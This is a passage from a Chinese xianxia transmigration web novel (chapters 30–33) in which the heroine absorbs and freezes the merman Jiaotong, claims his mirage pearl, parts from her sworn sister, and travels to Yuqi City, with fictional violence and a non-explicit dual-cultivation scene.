“为什么不收下蜃珠，为什么？”鲛童怒张嫣红的双眸，厉声质问。
“因为她不缺一个鬼童。禾诗逸主张个性自由，却被宗门生活捆缚，又怎么会喜欢可以照出人心阴暗的蜃珠？”荇菜代禾诗逸回答。
“不缺？原来她不缺鬼童。鬼童怎么办？鬼童缺她，鬼童爱她。他爱她。”鲛童喊完，已经代入鬼童的角色，猛地亲向荇菜。或许，在他的眼里，此时的荇菜是禾诗逸，而他变成鬼童。
“知不知道你在做什么，这样下去，你会死！”荇菜挥拳砸他，扇他脸，差点被侧颊打开的鱼鳃密齿啃掉掌肉。
鲛童被一个“死”字惊住，充血的双目失神地注视她。
“死。死了啊，好多人死了。可是，死究竟是什么滋味？”
荇菜抵住他沉重的双肩，灵识再度侵入鲛童的额心神门。
识海心魔境内，阴暗的走廊上，一名贵气的男子站在阴影中，侧方的灯笼红光投在他的下颚，形成一道完美的光阴界限。
他低声笑道：“多谢阿赜助兄长。杀了柏木全族，军权就彻底在阿弟的手上。淑妃一党再掀不起大浪。”
荇菜定睛去瞧这“阿兄”，他的下半张脸与成年的鬼童一模一样。
心神巨震，场景快旋，又是一处宅邸。
此处像是大户人家的宅邸，掌灯挂彩，似乎正在办喜事。然而，地上到处是死状凄惨的尸体，满地鲜血流成小河，汇入院中的花池。鱼儿争夺血水，翻涌的景象如同地狱岩浆冒泡。
鬼泣大将军持剑矗立在庭院，剑身淌血，背过身来时双眸泛红芒，杀气如潮般奔向直视过来的荇菜。
“鬼泣……杀了……很多人。”
入侵的灵识被鬼泣猩红的杀意击退，荇菜猛地仰起头，屈起长颈，撞向身上的鲛童，被对方压住唇口，扑回地面。
一条滑腻的舌侵入唇口，在自主运转的《还阳功》作用下，吸渡了一口冰凉的气息。
这股气息填补荇菜空虚的丹田，便是心脏都猛跳下。
【他的分身！】
荇菜迷了一瞬，《还阳功》第二篇第一章的合合功法已经在自如运转。
从推改拽，她拉住鲛童，勾足轻旋，翻伏在他的上方。
眼泛紫波，以驭音术问：“日月相合为明，阴阳相合为轮。不怕消散吗？”
鲛童已经沾染水玲珑的合欢丹药，神智本就不太清明，被驭音术穿耳，越发混沌难忍，只凭本能做事。
他也吐出一句：“助你一程，又何妨？”<
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p>荇菜轻扇眼睫，屈膝入他正中，将人提起，神思瞬息通悟：“你……道祖天尊！”
鲛童在这四字的威力下醒过神。
在青虞宗扮演鬼童五年，被山泽太子崔洧请出山门，为将杀人、成为鬼泣五载，同天龙道打过两次交道，知道这个尊号的厉害。
他喃喃道：“西山，战事。鬼童，必胜。”
荇菜眯眸，凝思：道生花说过，道祖天尊的分身根本不知道自己是分身，作为世间一份子经历生死，获得感悟后回归本体。
“鬼童和太子是双生子。你是鲛童，却把太子当作鬼童，效忠他，替他排除朝堂异己？呵，你知道自己不过是旁人得一道神念、一抹分身吗？这样认认真真地去经历人生，究竟为什么？”
鲛童大张瞳孔，“神念、分身”触及一直以为对追求自我灵魂的疑惑。
水泽乡里的经历如浮光掠影般在脑海里闪过，心念电闪，神智仿佛开启一道秘钥，通明达意。
“原来……如此。鲛人有灵魂，独我没有，被族群排挤在外。生无父母，死无归处。鬼童，我和你一样。我们只有彼此。哈哈哈……原来如此。”
荇菜对鲛童生出一分可怜，闭目敛神，试图收起《还阳功》外显的功法。
背过身，阴森诡异的幽暗纱帐环境被金系剑气劈裂，扑面而来的寒意随飘落的冰雪侵袭心脏。
她捂住刺痛的心口，被剑气穿透的心脏没有完全修复，正在发出抗议。《还阳功》正在试图反噬。若是反噬成功，黑羽的牺牲就成个笑话。
冰天雪地里，鲛童蹒跚地走到荇菜旁边，跪下后拥住她的双腿。心魔的爆发、神念通达了悟人生的他，失去某种为之战斗的力量。
他沉声低语：“冷吗？鬼童在冷冰冰的冰窟待整整十年。够了，我不想再披鬼童的皮活下去，为崔洧杀人。是人是鲛又怎么样，我不可能变成人，不可能拥有独立的自我灵魂。鬼童也不可能再活过来。你说得对，崔洧不是鬼童。鬼童自始至终都不知道他还有一个名字叫：崔赜。”
荇菜心生怜意，侧眸扶起他。
鲛童扬眸望向荇菜，突兀地笑出声：“呵，他说，助你一程，来吧。”
荇菜改扶为推，忍受功法反噬和心脏伤口蠕动的痛苦，把人狠狠地贯在雪地，冷笑道：“凭什么，他说什么就什么，你就是你，活生生的你。你们应该联合起来找黄椒问清楚，为什么要这样对待你们。”
鲛童的双手扣进冰雪，露出如蹼的晶莹薄皮，低哼轻笑：“你不会懂，一道神识法印，存在的作用只是记录，以及……啊……”
荇菜诧异地看向浮起来的鲛童，旋出的金红法印将他打回鲛人原型。
“住手，黄椒，住手……”
鲛童呵呵低笑，扇动耳上的鱼鳍，三分之的面容覆盖青金色的鱼鳞。
“看到吧。这就是主宰我们的力量。我们如人般存在这个世间，像冰雪一样在某个时刻融化，为得从来不是自己。片刻后，我就会归去，你……只有这短暂的机会。”
31. 第 31 章
荇菜愤恨地起身，捂住阵痛的心口、空虚的丹田……这个当口，她似乎已经别无选择，若想活下去，最优的选择就是吸收他。
旋手化阴阳，结莲花法指。
“第一篇第四章：夺天地自然之气，道转阴阳。”
鲛童周身的灵力被《还阳功》的功法吸引，向荇菜扑流而去。他笑出声，运转灵力，因假扮鬼童而外显的金系灵力化为本体的柔软水系，连带他本人一起旋飞向荇菜。
扑抱住荇菜，掌蹼抚在她的脸颊，露出鲛童最初纯净至善的目光：“脸。”
荇菜反应过来，收敛“心、神”双术，露出本来相貌。
美人肤质如玉，华彩非凡。
眸光晶莹，狡黠时滑过紫波，似蕴藏如星云般的神秘情感。
爱上美，与生俱来。
鲛童流露生灵对美的渴望笑容，脑海里浮出儿时鬼童说过的话：
有一次，鬼童对鲛童说：“我幻象亲吻师姐。这应该是非常神秘、神圣的美好。我会虔诚地抱住她，屈起膝弯，仰起脸等待她垂下手。
她是我的……神。
若我亲到她，应该会很甜很甜。”
生活太孤单，生出苦，对甜充满不可遏制的想象和冲动。
鲛童揽住荇菜的腰肢，伴随输出的大量灵力，吻上嫣红柔软的唇瓣。“真甜。”像水泽乡底下的藻果，一口咬开即爆浆，炸成甜液，随流水漂浮在周围，怎么吸吮都能尝到甜甜的滋味。
荇菜微微张口，吸回得是平和的水属性气息。
她露出轻柔的笑意，像是神女垂怜饱受苦难者，发出空灵却魅惑的声音：“有遗愿吗？”
“鬼童想睡禾诗逸。”
“你呢？”
“我？”鲛童的眼底发怔，眸色暗了。他第一次替崔洧杀人是在参加柏木大将军家的娶媳婚礼上。那场婚礼没有走完。鬼泣利用蜃珠布幻，拔了刀，杀光参加宴会的所有人。
鲛童的心底一直有一个隐秘，若能看完或者亲自走一场人间婚礼，应该是作为人最幸福的时候之一。
“可以吗？”
“可以。”荇菜垫脚吻他，褪去他遮身的外袍，露出饱满硬实的胸//腹，以及青金色的大鱼尾。
鱼尾弯曲矗立在地，支撑鲛童整个身体的重量。
柔软的手、舞动的指尖抚在光滑宽敞的鱼腹，灵力带过处，鱼鳞化为光滑的肌肤，手感冰凉润滑，像是抚摸上等的油脂玉件。
《欢情诀》让荇菜彻底带出他身体的念和欲。
鲛童弯曲膝盖，被荇菜扑压在冰冷的雪面。他的眼睛离不开渲染的紫眸，里面上演一场他期待的久违的人间嫁娶的喜庆事。
紫眸幻境里，鲛童手挽身穿嫁衣的荇菜，一起走过铺满鲜花的甬道，在高堂上三拜天地。在鬼童、太子崔洧等人的祝福下，新人步入洞房。
新郎虔诚地褪去妻子的红衫，在烛火熠熠中吻上妻子的唇瓣，与妻紧紧相拥，在亲密无间中水乳交融。
他将生命的原始激情渡给她，带彼此奔向证明幸福的时刻。
“啊……”荇菜攀在鲛童的身上吸取大量的水属灵力修复心脏的伤口、填补空虚的丹田。
不久后，心脏被灵力修复，体内充盈的灵力奔腾如洪，修为境界直冲金丹。后弯的长颈弓出优雅的心型，如雪崩般滑动的柔软与鲛童强悍的身体形成鲜明的对比。
热浪如潮水奔涌。两人的周围生成合合相生的法印，灵力融归入荇菜的法体。
被灵力充盈的瞬间，荇菜迅猛坐直，俯视即将消散的鲛童。
此时的荇菜凌厉得像是准备杀人的魔女，清醒的眼波里印出双手凝结的冰系术法的法印。
掌心生成的法印被她按压在鲛童密布热汗的心口，冰霜从掌心下蔓延，扑爬上鲛童松弛后错愕不及的脸面。
喘息声似乎就在耳旁回荡。
荇菜蜷缩的脚尖一点，浮空而起，摄取荷包里的衣衫披覆在身。
她注视半身已然幻化为青金色鱼尾的鲛童，平静地注视他被冰层完全封冻，甚至保留生前腮腺张开密齿的错愕模样。
眉尾红旋的金红法印在最后关头从鲛童的鱼尾浮出，旋飞出蜃珠洞府。
箴言：山仁水智，爱河难入。求何？
这是一场没有答案的人生，至死都没有活明白，却悟出一个道理：若青春期的懵懂爱意能被人理解，鬼童是不是就可以挺过这翻折磨？若鲛童没有救下鬼童，孤僻的小鲛人依旧在水泽乡徘徊寻觅没有灵魂的答案，不会成为人世间的杀人刀，再也求不到灵魂。
荇菜掐莲花诀，调动《还阳功》术篇，试图取出控制鲛童的黄椒神念。
几次后，没有出现类似神识的灵丝。
她踩上鲛童的冰雕，压下怒火再睁眸：“黄椒，这次又是你赢。你等着，总有一天我会捉到你。”
一颗晶莹剔透、充满诱惑的珠子从鲛童的冰雕上浮出，折射出内中荇菜和冰雕的虚影。
这就是蜃珠，展现内中的场景。
在鲛童的心魔幻境，荇菜知道蜃珠洞府的用法。
鬼童冶炼的蜃珠已经不完全是鲛人的妖丹，更是一件攻防一体的法宝。
荇菜微动心神，割破指尖，祭出一滴血，彻底认主蜃珠洞府。
蜃珠可窥人心、可布置幻境，更可存人、物，非常不错的洞天法宝。
认主后，荇菜把鲛童的冰雕挪入蜃珠内的万年冰窟，矗立在冰雪大厅。
鬼童崔赜的尸身也在这，面目苍白，却永远留住张扬肆意的笑靥。
荇菜站在鬼童的冰雕前，打量道：“在朱琴天出现前喜欢禾诗逸，算你倒霉，注定是神女无心。若你现在去找她，男主光环降低，她会应你一句：喜欢是你的事，与我何干？
呵。这就是禾诗逸。”
她瞥向一旁鲛童的冰雕，沉默着转身离去。
“对不住。我发过誓，说要留下他的分身就要留下。这次没有成功留下神识，总有一天，我能留下它。大人物就会出山找我，而我可以给那些活着的人一个答案。”
蜃珠中心的冰湖上矗立一座飘扬纱幔的吊脚小楼，没有主人控制的红灯乖巧地悬挂在屋角。
吊脚楼不止地理位置，就是内中的布置都是又冷又阴森，像是心魔幻境里太子崔洧曾经站过的廊角。
没有灵力
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和蜃珠加持幻化出鬼气森森，这里还是方不错的清净地，闭关修炼的好地方。
微动灵识，荇菜拾起滚在角落的鲛珠，摆在楼内的方桌。
她拿起鬼泣的面具，运转功法后一步出蜃珠洞府。
“鬼泣……”水玲珑惊恐地张大眼，抱紧手里的琵琶，“你把我师姐怎么了？我和你拼了。”
荇菜惊讶地看向还在这的水玲珑，音波入耳，扬手一拂，近前勾住美人的下颚。她的指尖用力，瞧着水玲珑宁死不屈的眼神，好笑道：“怎么回来了？不是让你走。”
“……”水玲珑眨下水灵灵的眼睛，试探道，“师……姐？”
“嗯。”荇菜松开她，看向奔出来的鬼泣侍卫，反手在后，冷冷道，“本将军捉妖女，你们去哪？”
“对……对不起将军。”
“将军杀人一直不让我等看见，我们……”
“够了。”荇菜学鬼泣的声威，一把拂开水玲珑捣乱的手。这个姑娘劫后余生，兴奋异常，又来揭荇菜脸上的鬼哭面具。
荇菜只得钳制水玲珑捣乱的柔夷，掐控在背后，“本将军捉住妖女，打算敬献给太子。既然此地没有鲛人，带上青山城主，回京。”
“是。”下属领命，跟在鬼泣后面往大街上走去。
荇菜假扮的鬼泣看到下属押解得不止有胖乎乎的青山城主，还有三位渔民和妇孺，拿下巴点人：“你们把渔民放了。青山城主明明分辨得出鲛人，却还是执意用鲛人为名上报朝堂，其心可诛。”
青山城主狂呼：“大将军，冤枉啊，都是刁民害我。”
下属们拿块臭汗巾塞住青山城主的嘴，又把渔民和妇人们放掉。
渔民们跪谢大将军，互相参扶，快跑而去。
传闻鬼泣杀人不眨眼，号称：鬼哭杀。有人从他手底下活命，已实属不易，渔民们连迟疑都没有，快跑着逃走。
水玲珑贴在荇菜的身上嘻嘻笑道：“大将军好大的威风，杀气凛凛，竟还有点良心。”
“别闹。认真点。”荇菜看向下属牵来的鬼泣坐骑。大黑马扑棱大翅膀、身穿黑色铠甲，威风凛凛。
她的脑海里想起原书中得一段剧情：男主朱琴天获得神风驹。
“这不会是神风驹吧？”
水玲珑掐把荇菜的腰，低声道：“叫我别露馅，你自己倒是喊得再大声点啊。”
“疼。”荇菜搂紧水玲珑，双眸发紫，紧盯神风驹，直至这黑溜溜的大马眼不屈地扬踢，最后又屈服地弯膝，才收回慑服它的法力，“好了，上马。”
水玲珑非得坐在荇菜的前面，娇气道：“既是大将军的俘虏，当为大将军的马前卒。”
“马前卒都走前面。”荇菜箍紧她的纤腰，一夹马肚让神风驹振翅飞起，“本将军带妖女先行回都。你们随后跟上。”
下属们面面相觑，押解青山城主上路。
高空俯瞰依山而建的青山城，确实只有一条路通向外面，入城后一条道上山，至崖顶绝壁。
青山城外围两面环水，雾茫茫黑压压一片，无踪无影。
“师姐，快看，那些和尚。”水玲珑俯瞰神风驹足下的山道树林。
32. 第 32 章
幽暗的林里一点火芒，十几个和尚围坐一起念经。
惊雷仰面掠过的神风驹，口喊佛偈：“阿弥陀佛。”
水玲珑朝他们挥舞小手，嘻嘻笑喊：“和尚们，你们好啊。”
荇菜怕被火云子认出，硬是没敢低头，驾驭神风驹向前飞。
火云子不受外物影响，盘坐诵经，为惊蛰祈福。
惊雷和尚哼了声：“这些凡夫俗子什么时候能睁开眼看世人，俱是被妖女迷惑。”
神风驹掠过青山城外的丛林，荇菜才真正松口气，脑海里想起跳读时翻到的剧情。
朱琴天降服欺辱禾诗逸的鲛精，获得他的蜃珠和神风驹，与山泽太子崔洧成为朋友。
崔洧十分感谢朱琴天：“多谢朱兄帮孤手刃杀弟仇人。此妖假借胞弟的身份，潜伏在侧，图谋不轨。可恨他骗孤甚久，孤还一直拿他当弟弟照顾。孤之胞弟定是被他暗害，该将他碎尸万段。”
朱琴天的万流剑指向战败的鲛精，正要询问一二。太子崔洧旋凝法力，轰打在鲛精的天灵盖。
鲛童连尸骨都没有留，烟消云散，只浮出一颗晶莹的珠子。
珠子飘到禾诗逸的面前，被她嫌弃地扔给朱琴天。
“鱼腥味这么重的玩意，给你吧。”
朱琴天捏住蜃珠，心知是宝，又怕太子惦记宝贝，哈哈大笑着上演一出：“哈哈哈……此宝认我爱妻诗儿为主。
诗儿不喜，我就暂时替她收下。太子殿下，此妖孽意图对我诗儿不轨，如今他死有余辜，又被太子挫骨扬灰，正是他应得下场。”
崔洧心知蜃珠是鬼泣的法宝，乃是不错的布幻法器。但是，朱琴天是青虞宗门的新星，不能为一颗蜃珠得罪他，不仅不能得罪还要拉拢朱琴天。
然而，本该属于他的法宝落在别人的手上，就想看朱琴天出丑。
他把忠心于鬼泣的神风驹送给朱琴天，试图给他个下马威。
荇菜记得这段剧情，浏览两段后跳过去，思量道：这么说，蜃珠和神风驹都成朱琴天的机缘。太子崔洧真是好狠毒。严格来说，他在借刀杀人，清除知道他一切秘密的鲛童。
天色微朦，即将大亮。
水玲珑打个哈欠，语气兴奋道：“师姐，你是怎么拿下鬼泣，他的灵力属于金系，你是不是很难受？不如，我们寻个地方，挖个洞府休息两天。”
荇菜回神道：“他的灵力是水系。我用你教的方法，入侵他的识海，看到他的心魔。”
“师姐好厉害。听师父说，这等法门只有金丹后期才能使用，你太厉害吧。可是，他怎么是水系灵力？”
“……”水玲珑怎么就成一副迷妹的样子，起初信誓旦旦要自己上的高冷呢？
荇菜巴拉过水玲珑的下颚，对上她润润的水眸，好笑道：“他是鲛人，与鬼童在青虞宗时换了身份，被太子崔洧请下山后成为他排除朝堂异己的杀人刀。”
“天啊，鲛人？那……不是一股鱼腥味？师姐怎么下得去口？”
“……”荇菜愣是憋出句：“职业素养。”
呸，打工人看钱的面子上班；睡他还不是心口有伤，得补充灵力。
水玲珑竖起大拇指，良久无语，不知在想什么。天光大亮后，荇菜又驾驭神风驹飞一日。
傍晚，霞光映在山泽都城郊外的剑神山，像是簪一朵金花。
“神风驹一日千里，好快的速度。”水玲珑疲累道，“师姐，我们去那吧，应该是山泽崔氏的皇家山林，绝对没人打扰我们。”
“胆子真大。”荇菜口上这么说，驾驭神风驹向剑神山飞。
她也怕火云子和惊雷再次循气息追至，已是马不停翅地离开青山城范围。
剑神山的洞窟里，荇菜认真问：“在醉花楼外，我不是让你走，怎么又回来？”
“我们同门师姐妹，在外修行，互帮互助不是应该吗？”水玲珑理所当然地说，“何况，我对师父给我的保命合欢丹有信心。再者，师姐也机灵啊。
我觉得你会没事，回来蹲着了。事实证明，我的直觉没错。”
荇菜屈指弹在她的脑门，忍不住发笑：“你比我师姐强。我收下你这个妹妹，以后出门在外……报我的名字。”
她想起禾诗逸那句霸气的话，在此拿来一用。
“报你的名字被和尚追杀啊。”水玲珑见她下脸，一把勾住荇菜的手臂，“哈哈，开玩笑嘛师姐，我犯了事就报师姐的名字。”
“能得你。”荇菜拂开她，寻个干净地儿打坐。
水玲珑打哈欠，从储物囊里取出丝缎铺面，打地铺。一天一夜未睡，又是战斗又是逃命，实在顶不住，更怕熬夜对皮肤不好，早早地躺下睡觉。
水玲珑时而精明、时而娇憨，给荇菜完全不一样的观感。
荇菜含笑望她眼后放松双肩，凝神入定。
山中不知岁月快。
三日过后，水玲珑和荇菜已经成拜把子的好姐妹。
彼此交换信物，荇菜得水玲珑一只灵宠囊，专门用来收神风驹，再有些合欢宗的内部派别消息。
水玲珑得荇菜“心、神”双术演化出来的易容术。一口他人气息即可幻化此人三个时辰的容貌。若要像荇菜这般持久幻化，需要修练《玉石还阳功》。
水玲珑缠着荇菜，让她说出鬼童和鲛童互换身份的经历。
听过故事后，水玲珑决意去山泽都城：“鬼童可怜，鲛童可恨又可怜。罢了，我睡不到鬼泣，难道还睡不到太子崔洧？在我的了解当中，鬼泣是崔赜，应该同太子崔洧长得一样。崔洧不过是筑基修为，非常适合我。他在师姐口中这么不是东西，我正好去会会他，替他们报仇。”
“……逻辑呢？因为同情鬼泣你就想去找崔洧？你可想清楚，太子此人心狠手辣，又位高权重，不好接近也不好糊弄。”
水玲珑诧异道：“师姐，我糊弄他干嘛，我是要睡他。对了，你不是有鬼童的尸身，你把他给我。”
“你想怎么做？”荇菜蹙眉。
“我要借用鬼童的身份、鬼泣的面具，接近太子崔洧。你放心，崔氏皇都里的淑妃是我们合欢宗的人。我帮淑妃拿下太子，助她儿子崔窅上位，她感激我帮我还来不及，不会害我。”
荇菜犹是不放心：“我担心你被崔洧伤害，就非得掺和进去吗？”
“师姐，你是修道人，应知‘道途缥缈，及时行乐，不负
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此生’的道理。这就是我想去闯的地方。你应下我嘛。”
荇菜听得懂这些话，理解不了她的行为。
水玲珑就道：“我也不理解，师姐杀了鬼泣就好，怎么下得去手睡一条鱼？”
“行，鬼童尸身给你。你去吧。”荇菜觉得没法交流。姐妹情到这吧。
“多些师姐。山高水长，道途无尽。师姐，他日，宗门再见。”
荇菜目送水玲珑离去，原地绕好几圈。她也意识到一件事：修途孤索，真没有人能陪你一直走。走一段，遇上一个不会把你丢下的朋友，已经是途中幸事。
“呵，没有这闹人的姑娘，我也可以好好地睡一觉。”举手伸腰，躺在水玲珑不要的铺面上呼呼大睡。
两日后，荇菜恢复元气。入侵别人的识海，引诱出心魔，这是件非常消耗精神的事。
鬼童的癫狂让人窒息。鲛童的执着，以及依据后来的剧情，离入魔也不远。他的疯魔程度不比鬼童弱。
“在鲛童的理解中，禾诗逸应该属于鬼童。原书里，朱琴天得到禾诗逸，鲛童就成朱琴天的敌人。鲛童是道祖天尊的分身……那黄椒真得是大男配啊，或许还是给朱琴天赠送法宝资源的顶级大男配。啧。”
荇菜在青山城外的渔村，记忆一位渔家妇人的气息，驾驭“心、神”双术，幻化成渔妇的模样。
她下剑神山，路遇村子，拾掇身半旧不新的布衣，装扮一新后独自上路。
数日后，荇菜又换身普通侠女的妆容，游荡在三国边境。此时，她也终于搞明白天生大陆的地理分布。
整块大陆被中央环岛状的天龙道划分为十大区域。
以中部天龙道的浮空岛为点，往东是西塔国，位于中部环岛附近，向外接壤数个小国，有欧丝国、高昌国、山泽国、羽民国，呈均匀的扇形排列。
天龙道的西面，也成扇形，依次是昆山国、三首国、高欧国、拘缨国、百戴国。天龙掌生，制下大陆十国，实行小国寡民的治理方式，当真是独一无二的地位。
此外，山泽国的水泽乡范围极大，接壤高昌、羽民、西塔三国。水系穿过内部的西塔国，一直延伸到中部的天龙岛，内海汪洋般的存在。
山泽国往东的外围是一大片岛链，如明珠般嵌在碧蓝的海面，属于三生道的管辖范围。
荇菜从欧丝国的青衍镇出发，往北入高昌国的八元城，穿过即谷镇，入山泽境内的剑仙城，经浩渺的水泽乡，到达青山城，绕山泽都城，往羽民国的边境，直奔羽弃城。
她几乎游走天生大陆内围的半段环线，穿越五国范围。
西塔国的北部边境可以通往羽民国，再前往羽弃城。荇菜想替黑羽去看一眼羽弃城。
夜宿山林，听着咕噜咕噜的鸟鸣，很难分辨是普通鸟儿还是羽民国的土著在夜嚎。
荇菜扔把干柴进火堆，耳闻粗重的呼吸声和踢踏的脚步声从远及近，握住一侧的长剑。
两名夜行者直奔火堆，女子钗环凌乱，捂膝头喘息。
男子咽口吐沫上前：“姑娘，我们可以借个火吗？”
荇菜扫眼奇怪的男女，松开剑身，抛把干柴进火堆，点头道：“请吧。”
33. 第 33 章
“多谢。”男子年岁不轻，瞧来四十多的模样，不像与女子私奔。
他轻呼口气，朝身后差不多年纪的女子吐槽，“阿妹，别杵那了，快过来坐吧。”
这是荇菜意料之外、又意料之中的称呼：这对中年男女竟是兄妹，不带家丁保镖，独自上路？奇了怪哉。
片刻后，两人做自我介绍，哥哥名唤戴祺，年岁四十有余；妹妹叫戴绮，今年正好四十。
两人是真亲兄妹。这么大年纪外出也是迫不得已，被老父亲逼出门。
戴祺解释道：“羽民国人排外，且多妖族，普通人不敢来。我们兄妹的身家雇不起有本事的修士。阿爹说，与其找不着调的人保护，不如学当年游学在外的阿娘，凭一颗赤胆、兄妹结伴上路。
我们是为完成父亲的嘱托才出远门。”
戴绮紧跟道：“一双儿女本想替我出行。我想啊，这一路风霜漂泊，若真有意外，死就死我一个。哎，都是以前年轻不懂事留下的债，该我们长者还，不耽误孩子们。可是，我是真不想上羽弃城啊。”
荇菜的目光落在两人手旁的行囊，总觉得那里有东西吸引自己。
她奇怪道：“为什么戴绮阿姐不想去羽弃城？”
戴绮整理鬓发，委屈道：“我们千里奔波，为得是送一颗羽族精魄。”耳听兄长咳嗽，她执意道，“这位姑娘心善，颇合我的眼缘，应不是坏人，说说又怎么。
姑娘，我是怕入乡随俗，勾出体内父亲的遗传血脉。我这么大的年纪了，一点都不想变成夜里漆黑到伸手不见五指的模样。”
荇菜感觉脚踝铃铛发凉，看向安慰妹妹的戴祺，扬手一摄，从他手边的布包里取出一只盒子。
戴祺兄妹顿时跳起身，拔剑相向。
戴祺喊道：“姑娘，你怎么抢东西，请还回来。不然，别怪我们不客气。”
戴绮巴拉兄长的衣袖，指向荇菜赤足的脚踝：“光……”
荇菜低头，羽雕镯上的一颗铃铛在发光，确切说是铃铛里的珠子在呼吸，正是黑羽的精魄一角打造成的珠子。
她下意识打开手上的木盒，内中躺得正是缺一角的夺魂精魄。此时，这大块的精魄在一明一暗的发光，与铃铛里的珠子互相辉映。
“这是黑羽……的精魄，怎么会在你们这？你们……是他的兄长和姐姐？”
戴祺兄妹面面相觑，年纪大、历事多，很快就镇定地收剑。
两人再次坐下，一言不发，偶尔相看无言，没让荇菜把精魄盒子还回。
荇菜等得不耐烦时，戴绮道：“哥，我们要找的人是她吧。完成任务，我们回百戴吧。”
“百戴国，黑羽逃离的家。”荇菜扬眸，死死地盯向中年兄妹，“说，你们为什么送他的精魄到羽弃城？”
戴祺握拳又松，仰面道：“自从黑羽取走父亲的精魄，又把他的精魄强行塞入父亲的体内，父亲就一直良心不安。
父亲忍痛取出精魄，说：这枚精魄缺一角，黑羽一定有不得已的苦衷，又有割舍不下的人。没有精魄，为父只是像你们的母亲一样，做一个普通人。
没有精魄，黑羽这辈子都不会真正变白，得不到旁人的喜爱。”
戴绮偷窥荇菜的容貌，比自家的女儿大几岁，样貌也过得去。
她接话道：“父亲让我们带黑羽的精魄寻去羽弃城。没有妻子的黑羽，最终会落叶归根，回到黑羽一族。
我不敢去黑羽族，我怕自己变得像他一样黑。哥，我们就到这吧，我想回百戴，我想孩子、外甥他们了。”
荇菜眨眼，有些不明白黑羽的父亲究竟是什么样的人。在黑羽的诉说中，他完全是亲友不爱、被嫌弃的存在。
“他……怎么和黑羽说得完全不同？”
戴祺自嘲般哂笑：“我懂姑娘的意思，在黑羽的眼里，我和戴绮不是好哥哥好姐姐，父亲也不是好父亲，更遑论本就不喜他的母亲。
我同你讲个故事吧。”
“我九岁那年，妹妹七岁，父亲抱回一个漆黑的婴儿，说是路边捡的同族，见他可怜就抱回家养。当日，母亲同父亲大吵一架。父亲发现全家都不喜欢这个孩子，用羽族的法术迷惑我们。我们真得以为这个通身漆黑的孩子是他和母亲生下的弟弟，不幸返祖了黑羽族的血脉，连母亲也这么认为。
但是，即使这样，依旧改变不了母亲讨厌黑羽，讨厌他的肤色。
我和妹妹年岁小，母亲不喜，我们也不敢喜欢他。更不要说带他出去玩，同镇伙伴各个嫌弃、害怕他，骂他是灾星、野孩子。”
戴绮接话道：“黑羽很善良，只是我们懂事得太迟。有一次我从山坡上滚下去，他抱住我，垫在我的身下，替我被石头划破手臂。
我一直想和他和解、和平相处……但是，一切都晚了。”
戴祺道：“那次事后，母亲越发变本加厉地咒骂黑羽是灾星。因为他，妹妹才受伤。黑羽不堪受辱，孤身离家，一走就是二十多年。”
他叹息了声，“前段时间，一身雪肤白衣的黑羽回家，二话不说取走父亲体内的精魄。在我们的惊诧愤怒中，他又把自己的精魄强行塞入父亲的体内，言句：恩断义绝。”
“精魄离体得一个瞬间，他暴露自身依旧没有变白的事实。他走后，父亲把真相告诉我们，又对黑羽留下的精魄难以释怀，才有我们两个加起来近百岁的老人被赶出家门，携带精魄上路的事。
父亲，心伤啊。他爱黑羽。黑羽离家多年，父亲时常外出寻他。
当年，为大家都接受黑羽，他见人就用法术迷惑旁人，导致根基发虚，常年体衰。
黑羽这么大点，惧怕母亲威严，不敢上桌吃饭。半夜里，父亲偷偷御使黑鸦给他送吃食。这家伙恐怕到死都以为父亲同大家一样不喜他。其实，父亲只是太爱母亲，不忍她生气。”
荇菜捏紧手里的精魄，耳听他们一句句说起当年的点滴事迹。
原来，在他人的视角，黑羽曾被人默默地爱着、喜欢着、照顾着，只是黑羽不知道。
“若他能听到这些，应该会很高兴。”
两兄妹面面相觑，似乎在下一个决定。
戴绮鼓起勇气道：“姑娘，铃铛里发亮得是……”
“正是这枚精魄缺得一角。”
“黑羽他……”戴祺试探道。
“他很好，好得让人仰望。有一天，他会回家，去看望你们的父亲。”荇菜切齿含笑地说。
戴绮起了一身鸡皮疙瘩，与戴祺对视一眼，双双沉默
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下来。
后半夜，两兄妹悄悄起身，往来路跑回去。
荇菜睁开眼，举起手里的夺魂精魄，长叹口气：“现在，我相信自己是女主角。睡在大马路上都有人送宝，夺魂……精魄啊。”
她想起当初在青山洞窟，初见黑羽时，他拿此精魄试探分身的做法。
有此精魄后，荇菜就可以辨别那些没有眉尾红旋的人是不是黄椒的分身。
两日后，羽弃城的大街上，荇菜一脚踢开挨上来的面具怪，另一手拔掉把面具系带塞进手的羽族翅膀，有戴面具的羽族从天而降把她提拉起飞，荇菜翻身勾腿就踹他下颚，眼见面具要掉，逃命似飘飞离去。
历经波折，荇菜插满头鸟毛，气喘吁吁地躲进一家客栈。
客栈掌柜戴着一只黑狐面具，露出黑色的唇、雪白的牙，像是一排日光灯，嘿嘿笑说：“姑娘，上等卧房，免费供应。”
小二面具后的双眼死死地盯在荇菜露在外面的双足，口水不自觉地滴落。
荇菜没能从他们戴面具的脸上看出什么，但是眼白包裹的眼睛是真得油亮发光。
她深吸口气，僵笑道：“多谢，不住了。”
“姑娘，别走啊。不免费，不免费……”
荇菜裹着凌乱的衣衫，吊着一帮戴面具的黑羽族男女老幼，逃命似地离开羽弃城。
“天啊。黑羽，当年你的爹妈，不，养母恐怕是被迫上床，才能让你养父这般敬小慎微地伺候她。你给我营造的黑羽一族的滤镜是彻底碎没了。”
羽弃城的城墙外，荇菜回头望向城门。
追着她的黑羽族男女“切”了声，各自如常地返回城中。
“这究竟是为什么？”荇菜无法理解他们不敢走出羽弃城的行为。
“因为羽族皇室不喜欢黑色。你见过哪只高贵的凤凰羽毛上有乌黑的羽色？”
荇菜回眸，来人混血的深邃面容，穿淡金色的绸衫，搭配白色的六翼翅膀，像极西方神话里的六翼天使下凡。
“你是……客串？”
“客什么？”男人在惊讶过后摆正眯眯笑的表情，继续道，“在下羽族皇室御用大星官，青鸾族黎耀。”
“呵呵呵……”荇菜忍不住大笑。作者奇葩，好好的青鸾搞六翼翅膀，没办法不让人笑出声。“对不起，你继续。哈哈哈……东西方合并，没脑洞硬掰，哈哈哈……”
黎耀差点维持不住笑面，抿唇咧口：“姑娘，你这样不太礼貌。对了，你不要因为我帅就心动。我们羽族只会娶两种女子。”
说完勾唇，自以为俊出天际。
荇菜轻咳，撇眼后重整面色，还是忍不住想要笑，假装低头抚弄裙衫，迎合道：“哪两种呢？呵呵……”
“天资，国色。”黎耀满意她的识相，又不满她要笑又强忍的姿态。
“哦，天资出众，利于后代。国色貌美，赏心悦目是吧？不愧是以情和色闻名大陆的花心……鸟族。”
